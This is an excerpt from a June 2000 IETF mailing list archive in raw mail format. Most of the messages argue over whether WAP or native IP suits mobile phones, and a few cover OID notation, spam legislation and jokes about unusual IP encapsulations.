> with it.

Ah, so that's why WAP uses standard HTML?

--
/================================================================\
|John Stracke    | http://www.ecal.com |My opinions are my own.  |
|Chief Scientist |===============================================|
|eCal Corp.      |"What we have here is a failure to assimilate."|
|francis@ecal.com|--Cool Hand Locutius                           |
\================================================================/





From owner-ietf-outbound  Wed Jun 21 17:10:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA13024
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 17:10:03 -0400 (EDT)
Received: from prserv.net (out1.prserv.net [32.97.166.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA12888
	for <ietf@ietf.org>; Wed, 21 Jun 2000 17:04:37 -0400 (EDT)
Received: from acm.org ([32.100.79.162]) by prserv.net (out1) with SMTP
          id <20000621210359252009ru8oe>; Wed, 21 Jun 2000 21:04:00 +0000
Message-ID: <39512E1E.88CF97AA@acm.org>
Date: Wed, 21 Jun 2000 17:05:34 -0400
From: Mark Baker <distobj@ACM.ORG>
X-Mailer: Mozilla 4.5 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: WAP and IP
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Keith wrote;
>I expect that WAP will evolve, and continue to be used, because there will 
>certainly be some services that fit its market niche.  But it will 
>generally be run over IP, because IP will generally be available and
>it is more efficient than SMS.  And it will be just one of many IP-based 
>services that are accessible from a wireless platform.

What's funny is that of *current* WAP and Phone.com deployments, almost
all use IP as the bearer to the handset (I don't personally know of any
that don't, but there may be some), and none (AFAIK) use SMS.

Oops.

Brijesh wrote;
>WAP's goal is not to replace IP, but mediate between non-IP wireless
>devices, and existing IP based wire line applications.

Yet there's no need to do this, since your phone is already IP.

>See above. The size of display isn't the issue. Contrary to what you
>say, most people who work in cellular industry think that WAP is very
>interesting piece of work given the limitations of the systems that
>are *widely deployed and used today*.

You need to talk to more people. 8-)  If you're at the WAPforum meeting
right now, let me know and we can get together and talk more about it in
person.

MB



From owner-ietf-outbound  Wed Jun 21 17:30:28 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA13255
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 17:30:03 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA13210
	for <ietf@ietf.org>; Wed, 21 Jun 2000 17:28:24 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id RAA14220;
        Wed, 21 Jun 2000 17:28:16 -0400 (EDT)
Message-Id: <200006212128.RAA14220@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: bkumar@ennovatenetworks.com
cc: moore@cs.utk.edu, "'Taylor, Johnny'" <Johnny.Taylor@ESPIRE.NET>,
        "'Donald E. Eastlake 3rd'" <dee3@torque.pothole.com>, ietf@ietf.org
Subject: Re: IP over MIME (was Re: WAP Is A Trap -- Reject WAP) 
In-reply-to: Your message of "Wed, 21 Jun 2000 16:16:40 EDT."
             <016b01bfdbbd$9ca7ae80$d001010a@tst.ennovatenetworks.com> 
X-SUBJECT-MSG-FROM: "Brijesh Kumar" <bkumar@ennovatenetworks.com> 
Date: Wed, 21 Jun 2000 17:28:16 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> > WAP might evolve into something more useful, but I don't see
> > how it will replace IP in any sense.
> 
> One is an architecture for supporting application on diverse wireless
> systems, and other is a network layer packet transport mechanism. Two
> aren't even comparable.

the two are comperable in that WAP applications compete with 
traditional Internet applications, and people will sometimes
have to choose between "native Internet" and WAP as a means
of running their application (or support both)

> > WAP as it currently exists isn't a solution
> > to any future problem - it is a solution to the problem of how to
> > build a consumer information service over SMS and cell phones
> > with limited displays.
> 
> No. It is a solution of how to support meaningful applications over a
> wireless channel with *limited bandwidth*, 

sure, but SMS was the limiting case on the bandwidth side.  were it
not for the need to support SMS it would have made a lot more sense to 
just use IP. (though not necessarily to use traditional IP transports or 
applications on top of it - but that would have at least been possible 
for those who were willing to suffer the expense/delay.)

display size might not have been a fundamental design constraint
of WAP's lower layers, but WAP applications are certainly designed 
to cope with limited display size, and the limitations of cellphone 
displays are often used as a justification for using WAP instead 
of IP based applications.

> See above. The size of display isn't the issue. Contrary to what you
> say, most people who work in cellular industry think that WAP is very
> interesting piece of work given the limitations of the systems that
> are *widely deployed and used today*.

today, perhaps.  tomorrow is different.

> As far as wireless industry is concerned, the die is already cast -
> WAP, BlueTooth and UMTS are three future technologies.

an industry that believes its own marketing propaganda is quite often wrong.

Keith



From owner-ietf-outbound  Wed Jun 21 17:41:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA13482
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 17:40:03 -0400 (EDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA13331
	for <ietf@ietf.org>; Wed, 21 Jun 2000 17:32:10 -0400 (EDT)
Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.19628-0@bells.cs.ucl.ac.uk>; Wed, 21 Jun 2000 22:31:17 +0100
To: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
cc: IETF Mailing List <ietf@ietf.org>
Subject: Re: Free Protocols Foundation Policies and Procedures -- Request For 
         Review
In-reply-to: Your message of "21 Jun 2000 18:49:29 -0000." <20000621184929.11095.qmail@tooran.byname.net>
Date: Wed, 21 Jun 2000 22:31:13 +0100
Message-ID: <15518.961623073@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@CS.UCL.AC.UK>
X-Loop: ietf@ietf.org


In message <20000621184929.11095.qmail@tooran.byname.net>, Mohsen BANAN-Public 
typed:

 >>I request that you review the attached document and
 >>email us your comments to:   
 >>  mailto:public@mohsen.banan.1.byname.net

its a nice idea

there is, after all, a free market in standards orgaanisations

however, the ietf is the  one with the monopoly at the moment...so
i thinkwithout an RFCm you are left holding an anti-trust suit without
a lawyer to bet on....



but your meta-case in terms of the content is fine

cheers
job



From owner-ietf-outbound  Wed Jun 21 19:10:22 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA14605
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 19:10:02 -0400 (EDT)
Received: from zot.localdomain (IDENT:root@ip240.cvd2.rb1.bel.nwlink.com [207.202.151.240])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA14559
	for <ietf@ietf.org>; Wed, 21 Jun 2000 19:04:41 -0400 (EDT)
Received: from flash.localdomain (IDENT:root@flash [10.0.0.6])
	by zot.localdomain (8.9.3/8.9.3) with ESMTP id QAA32515;
	Wed, 21 Jun 2000 16:04:17 -0700
Received: (from mark@localhost)
	by flash.localdomain (8.9.3/8.9.3) id QAA11136;
	Wed, 21 Jun 2000 16:09:12 -0700
X-Authentication-Warning: flash.localdomain: mark set sender to mra@pobox.com using -f
Sender: mark@flash.localdomain
To: <bkumar@ennovatenetworks.com>
Cc: <moore@cs.utk.edu>, "'Taylor, Johnny'" <Johnny.Taylor@ESPIRE.NET>,
        "'Donald E. Eastlake 3rd'" <dee3@TORQUE.POTHOLE.COM>, <ietf@ietf.org>
Subject: Re: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)
References: <016b01bfdbbd$9ca7ae80$d001010a@tst.ennovatenetworks.com>
From: Mark Atwood <mra@pobox.com>
Date: 21 Jun 2000 16:09:12 -0700
In-Reply-To: "Brijesh Kumar"'s message of "Wed, 21 Jun 2000 16:16:40 -0400"
Message-ID: <m38zvyljhj.fsf@flash.localdomain>
Lines: 13
User-Agent: Gnus/5.0806 (Gnus v5.8.6) Emacs/20.3
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Loop: ietf@ietf.org

"Brijesh Kumar" <bkumar@ennovatenetworks.com> writes:
> 
> WAP's goal is not to replace IP, but mediate between non-IP wireless
> devices, and existing IP based wire line applications.

So then obvious the Right Thing is to put an IP stack on each of those
devices. Then such "mediation" is unnecessary.

-- 
Mark Atwood   | It is the hardest thing for intellectuals to understand, that
mra@pobox.com | just because they haven't thought of something, somebody else
              | might. <http://www.friesian.com/rifkin.htm>
http://www.pobox.com/~mra



From owner-ietf-outbound  Wed Jun 21 20:10:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA15270
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 20:10:01 -0400 (EDT)
Received: from postoffice.cisco.com (postoffice.cisco.com [171.69.198.240])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA15109
	for <ietf@ietf.org>; Wed, 21 Jun 2000 19:56:14 -0400 (EDT)
Received: from [209.179.127.143] (ssh.cisco.com [171.69.10.34]) by postoffice.cisco.com (8.8.7-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id QAA07090; Wed, 21 Jun 2000 16:54:12 -0700 (PDT)
Mime-Version: 1.0
X-Sender: deering@127.0.0.1
Message-Id: <v04220802b5770410c71c@[209.179.127.143]>
In-Reply-To: <016b01bfdbbd$9ca7ae80$d001010a@tst.ennovatenetworks.com>
References: <016b01bfdbbd$9ca7ae80$d001010a@tst.ennovatenetworks.com>
Date: Wed, 21 Jun 2000 16:53:43 -0700
To: <bkumar@ENNOVATENETWORKS.COM>
From: Steve Deering <deering@cisco.com>
Subject: RE: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)
Cc: <moore@cs.utk.edu>, "'Taylor, Johnny'" <Johnny.Taylor@ESPIRE.NET>,
        "'Donald E. Eastlake 3rd'" <dee3@torque.pothole.com>, <ietf@ietf.org>
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

At 4:16 PM -0400 6/21/00, Brijesh Kumar wrote:
>WAP's goal is not to replace IP, but mediate between non-IP wireless
>devices, and existing IP based wire line applications.

There are no "IP based wire line applications".  Applications based on IP
don't depend on, or know, or care that their packets flow over wires or
fibres or RF waves or IR waves or wet string, or any combination thereof.
That's one of the neat things about IP.

Steve



From owner-ietf-outbound  Wed Jun 21 21:30:56 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA16048
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 21:30:03 -0400 (EDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA15997
	for <ietf@ietf.org>; Wed, 21 Jun 2000 21:23:25 -0400 (EDT)
Received: (from bmanning@localhost)
	by boreas.isi.edu (8.9.3/8.9.3) id SAA12015;
	Wed, 21 Jun 2000 18:23:08 -0700 (PDT)
From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200006220123.SAA12015@boreas.isi.edu>
Subject: Re: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)
To: deering@cisco.com (Steve Deering)
Date: Wed, 21 Jun 100 18:23:08 -0700 (PDT)
Cc: bkumar@ENNOVATENETWORKS.COM, moore@cs.utk.edu, Johnny.Taylor@ESPIRE.NET,
        dee3@torque.pothole.com, ietf@ietf.org
In-Reply-To: <v04220802b5770410c71c@[209.179.127.143]> from "Steve Deering" at Jun 21, 0 04:53:43 pm
X-Mailer: ELM [version 2.4 PL24 PGP6]
Content-Type: text
X-Loop: ietf@ietf.org

% 
% At 4:16 PM -0400 6/21/00, Brijesh Kumar wrote:
% >WAP's goal is not to replace IP, but mediate between non-IP wireless
% >devices, and existing IP based wire line applications.
% 
% There are no "IP based wire line applications".  Applications based on IP
% don't depend on, or know, or care that their packets flow over wires or
% fibres or RF waves or IR waves or wet string, or any combination thereof.
% That's one of the neat things about IP.
% 
% Steve
% 

Hum,
	Did the IESG depricate IP over Avian Carrier when I blinked?
	And the draft on IP over seismic waves is due any day now.

-- 
--bill



From owner-ietf-outbound  Wed Jun 21 21:40:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA16263
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 21:40:02 -0400 (EDT)
Received: from roam.psg.com (roam.psg.com [147.28.4.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA16164
	for <ietf@ietf.org>; Wed, 21 Jun 2000 21:34:06 -0400 (EDT)
Received: from randy by roam.psg.com with local (Exim 3.12 #1)
	id 134vsU-0000m2-00; Thu, 22 Jun 2000 02:33:58 +0100
From: Randy Bush <randy@psg.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: Mark Atwood <mra@POBOX.COM>
Cc: ietf@ietf.org
Subject: Re: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)
References: <016b01bfdbbd$9ca7ae80$d001010a@tst.ennovatenetworks.com>
	<m38zvyljhj.fsf@flash.localdomain>
Message-Id: <E134vsU-0000m2-00@roam.psg.com>
Date: Thu, 22 Jun 2000 02:33:58 +0100
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

>> WAP's goal is not to replace IP, but mediate between non-IP wireless
>> devices, and existing IP based wire line applications.
> So then obvious the Right Thing is to put an IP stack on each of those
> devices. Then such "mediation" is unnecessary.

but there may not be enough room in the 640k before one runs into the video
buffer. :-)

technical shortsightedness used as an excuse for an attempt to create a
monpolistic walled garden.  don't get too excited about it, other more ipish
mobile phone technologies are already passing wap.

don't you just love telephants?

randy



From owner-ietf-outbound  Wed Jun 21 23:34:06 2000
Received: by ietf.org (8.9.1a/8.9.1a) id XAA18699
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 23:00:02 -0400 (EDT)
Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA18545
	for <ietf@ietf.org>; Wed, 21 Jun 2000 22:33:24 -0400 (EDT)
Received: from regan.ee.surrey.ac.uk ([131.227.89.11])
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.03 #1)
	id 134SMB-0003mb-00; Tue, 20 Jun 2000 19:02:39 +0100
Date: Tue, 20 Jun 2000 19:02:39 +0100 (BST)
From: Lloyd Wood <l.wood@eim.surrey.ac.uk>
X-Sender: eep1lw@regan.ee.surrey.ac.uk
Reply-To: L.Wood@eim.surrey.ac.uk
To: John Stracke <francis@ecal.com>
cc: IETF Mailing List <ietf@ietf.org>
Subject: Re: WAP Is A Trap -- Reject WAP
In-Reply-To: <394F885D.FBF3D18E@ecal.com>
Message-ID: <Pine.GSO.4.21.0006201717460.5385-100000@regan.ee.surrey.ac.uk>
Organization: speaking for none
X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/
X-no-archive: yes
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Tue, 20 Jun 2000, John Stracke wrote:

> Mohsen BANAN-Public wrote:
> 
> > In the WAP model, by contrast, the WAP gateway
> > operated by the Service Provider plays the active
> > role of translating and storing web content, and
> > therefore controls access to the content by the
> > end-user.
> 
> I'm pretty sure this is inaccurate.  The content provider develops their
> site in WML and hosts it on their own website; the service provider does
> not translate it or store it (though they may cache it).
> 
> (I say "pretty sure" because I haven't done any WAP development,
> only HDML.)

There's parsing/tokenisation/compression applied at the service
provider's gateway, which requires that all pages validate
correctly and strictly for this translation to work.

This and other implementation details are discussed in:

http://www.osopinion.com/Opinions/MikeBanahan/MikeBanahan1.html

some relevant bits of that:

  HOWEVER - and it'a big however - your phone is not talking the
  normal HTTP protocol to the remote web server; it is talking WAP to
  the intermediate gateway. The gateway fetches the WML page from the
  remote server and then converts it into WML bytecode - a compiled
  data stream - which is what the phone actually receives. 
  [..]
  The sad or funny bit, depending on your viewpoint, is that the
  gateway really is a compiler. If you miss a comma or a semicolon,
  or even forget to put quotes around an element's attributes, then
  your WML is erroneous. Presumably the gateway prints a suitable
  'syntax error at line 11' message on its console when this happens,
  but since HTTP is a one-way protocol there is no way that your web
  server can tell this and you won't get any feedback if you've got it
  wrong. On the Nokia 7110 that I use all that I see is 'Page cannot
  be displayed'. Believe me, these gateways are strict.

Just imagine how many webpages you'd be able to read if your proxy
cache insisted on validating them against a DTD before sending them to
you...

And from that anti-WAP polemic:

   We gratefully acknowledge the assistance of the
   following persons in the preparation and review of
   this document:  Andrew Hammoude, Richard Stallman,
   Bill Frezza and Rob Mechaley.

it's rms's 'do not use Tcl because I say so' all over again!

L.

will be quite happy if WAP fails on its own merits, thankyouverymuch.

<L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>






From owner-ietf-outbound  Wed Jun 21 23:23:57 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA18662
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 22:50:02 -0400 (EDT)
Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA18539
	for <ietf@ietf.org>; Wed, 21 Jun 2000 22:33:13 -0400 (EDT)
Received: from petra.ee.surrey.ac.uk ([131.227.88.13] ident=eep1lw)
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.03 #1)
	id 134nvB-00076f-00; Wed, 21 Jun 2000 18:04:13 +0100
Date: Wed, 21 Jun 2000 18:04:05 +0100 (BST)
From: Lloyd Wood <l.wood@eim.surrey.ac.uk>
X-Sender: eep1lw@petra.ee.surrey.ac.uk
Reply-To: L.Wood@eim.surrey.ac.uk
To: "Book, Robert" <Robert.BookIII@cwusa.com>
cc: "'Robert G. Ferrell'" <root@rgfsparc.cr.usgs.gov>, ietf@ietf.org
Subject: RE: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
In-Reply-To: <F685A00DB7B4D111B2400020AFFC2D580D702F49@us-cwi-exc-a03.cwi.cablew.com>
Message-ID: <Pine.GSO.4.21.0006211758270.20074-100000@petra.ee.surrey.ac.uk>
Organization: speaking for none
X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/
X-no-archive: yes
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Mon, 19 Jun 2000, Book, Robert wrote:

[spamspamspam]
> 	The possibility remains, however, that this solution might not be
> popular with the people in the business of producing such advertisements. I
> seem to recall, from a time when I was living in Europe, the VCRs over there
> had the capability to key off of a signal in the broadcast signal. This
> "off" signal, and it's corresponding "on" signal, were sent, respectively,
> before and after commercial messages. I have yet to see that feature in any
> VCRs in the US market. :-)

http://pdc.ro.nu/
has some sketchy protocol details.

I don't think the pause feature is either popular or currently
used, although 'start recording' is widespread.

L.

<L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>





From owner-ietf-outbound  Wed Jun 21 23:19:39 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA18581
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 22:40:02 -0400 (EDT)
Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA18527
	for <ietf@ietf.org>; Wed, 21 Jun 2000 22:33:02 -0400 (EDT)
Received: from petra.ee.surrey.ac.uk ([131.227.88.13] ident=eep1lw)
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.03 #1)
	id 134smA-0000oF-00; Wed, 21 Jun 2000 23:15:14 +0100
Date: Wed, 21 Jun 2000 23:15:10 +0100 (BST)
From: Lloyd Wood <l.wood@eim.surrey.ac.uk>
X-Sender: eep1lw@petra.ee.surrey.ac.uk
Reply-To: L.Wood@eim.surrey.ac.uk
To: Mark Baker <distobj@ACM.ORG>
cc: ietf@ietf.org
Subject: Re: WAP and IP
In-Reply-To: <39512E1E.88CF97AA@acm.org>
Message-ID: <Pine.GSO.4.21.0006212301300.20074-100000@petra.ee.surrey.ac.uk>
Organization: speaking for none
X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/
X-no-archive: yes
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Wed, 21 Jun 2000, Mark Baker wrote:

> What's funny is that of *current* WAP and Phone.com deployments, almost
> all use IP as the bearer to the handset (I don't personally know of any
> that don't, but there may be some), and none (AFAIK) use SMS.

WDP is designed to work over non-IP bearers, including GSM (otherwise
you use UDP, with WTP layered on both). Most WAP handsets worldwide
will be GSM. Therefore it's pretty safe to assume that most WAP
deployments aren't using IP as a bearer.

Spelled out in the WAP architectiuure specification.

[..]

> Brijesh wrote;
> >WAP's goal is not to replace IP, but mediate between non-IP wireless
> >devices, and existing IP based wire line applications.
> 
> Yet there's no need to do this, since your phone is already IP.

beg to differ. You could argue that WTP's role is to transition to an
IP bearer world, I suppose.


> >See above. The size of display isn't the issue. Contrary to what you
> >say, most people who work in cellular industry think that WAP is very
> >interesting piece of work given the limitations of the systems that
> >are *widely deployed and used today*.

...yet most people don't work in the cellular industry, and handsets
with larger screens were specially designed for and deployed for WAP.

L.

You see a chicken; I see an egg.

<L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>




From owner-ietf-outbound  Thu Jun 22 02:09:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id BAA20699
	for ietf-outbound.10@ietf.org; Thu, 22 Jun 2000 01:30:02 -0400 (EDT)
Received: from nix.swip.net (nix.swip.net [192.71.220.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA20653
	for <ietf@ietf.org>; Thu, 22 Jun 2000 01:28:09 -0400 (EDT)
Received: from [192.168.124.95] (workstation1.swip.net [130.244.254.1]) 
          by nix.swip.net (8.8.8/8.8.8) with ESMTP 
          id HAA06382; 
          Thu, 22 Jun 2000 07:24:59 +0200 (MET DST)
Mime-Version: 1.0
X-Sender: paf@nix.swip.net
Message-Id: <p04320403b5774f7a6520@[192.168.124.95]>
In-Reply-To: <200006220123.SAA12015@boreas.isi.edu>
References: <200006220123.SAA12015@boreas.isi.edu>
Date: Thu, 22 Jun 2000 07:07:43 +0200
To: Bill Manning <bmanning@ISI.EDU>, deering@cisco.com (Steve Deering)
From: Patrik =?iso-8859-1?Q?F=E4ltstr=F6m?=  <paf@swip.net>
Subject: Re: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)
Cc: bkumar@ENNOVATENETWORKS.COM, moore@cs.utk.edu, Johnny.Taylor@ESPIRE.NET,
        dee3@torque.pothole.com, ietf@ietf.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Loop: ietf@ietf.org

At 18.23 -0700 00-06-21, Bill Manning wrote:
>	Did the IESG depricate IP over Avian Carrier when I blinked?
>	And the draft on IP over seismic waves is due any day now.

Don't forget

1926 An Experimental Encapsulation of IP Datagrams on Top of ATM. J.
      Eriksson. April 1996. (Format: TXT=2969 bytes) (Status:
      INFORMATIONAL)

    paf



From owner-ietf-outbound  Thu Jun 22 02:24:38 2000
Received: by ietf.org (8.9.1a/8.9.1a) id BAA21033
	for ietf-outbound.10@ietf.org; Thu, 22 Jun 2000 01:50:02 -0400 (EDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA20961
	for <ietf@ietf.org>; Thu, 22 Jun 2000 01:44:47 -0400 (EDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <200006220519.OAA17339@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id OAA17339; Thu, 22 Jun 2000 14:19:22 +0900
Subject: Re: WAP Is A Trap -- Reject WAP
To: public@mohsen.banan.1.byname.net (Mohsen BANAN-Public)
Date: Thu, 22 Jun 0 14:19:21 JST
Cc: mohta@necom830.hpcl.titech.ac.jp, karn@qualcomm.com,
        public@mohsen.banan.1.byname.net, ietf@ietf.org
In-Reply-To: <20000621041446.3172.qmail@tooran.byname.net>; from "Mohsen BANAN-Public" at Jun 21, 100 1:24 pm
X-Mailer: ELM [version 2.3 PL11]
X-Loop: ietf@ietf.org

Mohsen;

>   Masataka> WAP and IP over NAT are equally bad.
> 
> We have two sets of problems and layering helps here.
> 
> At layer 3, we need to make things end-to-end.
> 
> At layer 7, the WAP approach is simply the wrong approach.
> 

I'm operating on all the  layers.

> We need competition in the efficient appliction protocols
> space. 

As TCP/UDP port space is, so far without NAT, large enough, we don't
have any real problems.

> As you pointed out more than a month ago:
> 
>    Masataka> To make the competition fair, the important questions are:
> 
>   Masataka> 	Is it fair if providers using iMODE or WAP are advertised
>   Masataka> 	to be ISPs?
> 
>   Masataka> 	Is it fair if providers using NAT are advertised to be ISPs?
> 
>   Masataka> My answer to both questions is
> 
>   Masataka> 	No, while they may be Internet Service Access Providers and
>   Masataka> 	NAT users may be IP Service Providers, they don't provide
>   Masataka> 	Internet service and are no ISPs.
> 
> Which in my thinking is equivalent of saying that WAP is at best an
> Internet gateway model. Which is consistent to my position in The WAP
> Trap paper ...

Thank you.

						Masataka Ohta



From owner-ietf-outbound  Thu Jun 22 08:07:48 2000
Received: by ietf.org (8.9.1a/8.9.1a) id HAA26249
	for ietf-outbound.10@ietf.org; Thu, 22 Jun 2000 07:50:01 -0400 (EDT)
Received: from bailey.dscga.com (bailey.dscga.com [198.78.9.11])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA26119
	for <ietf@ietf.org>; Thu, 22 Jun 2000 07:39:50 -0400 (EDT)
Received: (from michael@localhost) by bailey.dscga.com (8.9.1/) id HAA27636 for ietf@ietf.org; Thu, 22 Jun 2000 07:27:21 -0400 (EDT)
Date: Thu, 22 Jun 2000 07:27:20 -0400
From: Michael Mealling <michael@bailey.dscga.com>
To: ietf@ietf.org
Subject: Where is the OID "dot convention" spelled out?
Message-ID: <20000622072720.B27587@bailey.dscga.com>
Reply-To: michaelm@netsol.com
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
X-Loop: ietf@ietf.org

For all the ASN.1 folks out there:

I'm in the midst of writing up the OID URN namespace document 
(see http://www.ietf.org/internet-drafts/draft-mealling-oid-urn-00.txt)
and it has come to my attention that none of the ASN.1 standards 
define the dot-notation that we use in all sorts of RFCs. I'm specifically
referring to the practice of inserting dots in between each arc as in:
1.3.6.1.4.1

Is anyone aware if this is actually spelled out somewhere? I don't
have the newest ASN.1 docs in front of me so if the're in there
a page reference would be great.

-MM

-- 
--------------------------------------------------------------------------------
Michael Mealling	|      Vote Libertarian!       | www.rwhois.net/michael
Sr. Research Engineer   |   www.ga.lp.org/gwinnett     | ICQ#:         14198821
Network Solutions	|          www.lp.org          |  michaelm@netsol.com



From owner-ietf-outbound  Thu Jun 22 08:10:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA26669
	for ietf-outbound.10@ietf.org; Thu, 22 Jun 2000 08:10:03 -0400 (EDT)
Received: from nix.swip.net (nix.swip.net [192.71.220.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA26586
	for <ietf@ietf.org>; Thu, 22 Jun 2000 08:07:11 -0400 (EDT)
Received: from [192.168.124.95] (workstation1.swip.net [130.244.254.1]) 
          by nix.swip.net (8.8.8/8.8.8) with ESMTP 
          id OAA17182; 
          Thu, 22 Jun 2000 14:06:21 +0200 (MET DST)
Mime-Version: 1.0
X-Sender: paf@nix.swip.net
Message-Id: <p04320432b577b0bf3f96@[192.168.124.95]>
In-Reply-To: <20000622133740F.magda@netinsight.se>
References: <200006220123.SAA12015@boreas.isi.edu>
 <p04320403b5774f7a6520@[192.168.124.95]>
 <20000622133740F.magda@netinsight.se>
Date: Thu, 22 Jun 2000 14:02:56 +0200
To: Magnus Danielson <magda@NETINSIGHT.SE>
From: Patrik =?iso-8859-1?Q?F=E4ltstr=F6m?=  <paf@swip.net>
Subject: Re: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)
Cc: bmanning@ISI.EDU, deering@cisco.com, bkumar@ENNOVATENETWORKS.COM,
        moore@cs.utk.edu, Johnny.Taylor@ESPIRE.NET, dee3@torque.pothole.com,
        ietf@ietf.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Loop: ietf@ietf.org

At 13.37 +0200 00-06-22, Magnus Danielson wrote:
>  > 1926 An Experimental Encapsulation of IP Datagrams on Top of ATM. J.
>>        Eriksson. April 1996. (Format: TXT=2969 bytes) (Status:
>>        INFORMATIONAL)
>
>I still havent found a working implementation of this. Any references?
>Did the channel selection ever get automated?

I know that Peter Deutch at then Bunyip was working on a slightly 
different, but similar, proposal which was to run IP over a string. I 
guess that if he is on this list, he can explain.

   paf



From owner-ietf-outbound  Thu Jun 22 08:50:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA03104
	for ietf-outbound.10@ietf.org; Thu, 22 Jun 2000 08:50:03 -0400 (EDT)
Received: from ernst.netinsight.se ([212.209.170.195])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA02347
	for <ietf@ietf.org>; Thu, 22 Jun 2000 08:46:33 -0400 (EDT)
Received: from localhost (unverified [10.100.1.11]) by ernst.netinsight.se
 (EMWAC SMTPRS 0.83) with SMTP id <B0000736825@ernst.netinsight.se>;
 Thu, 22 Jun 2000 14:44:37 +0200
To: paf@swip.net
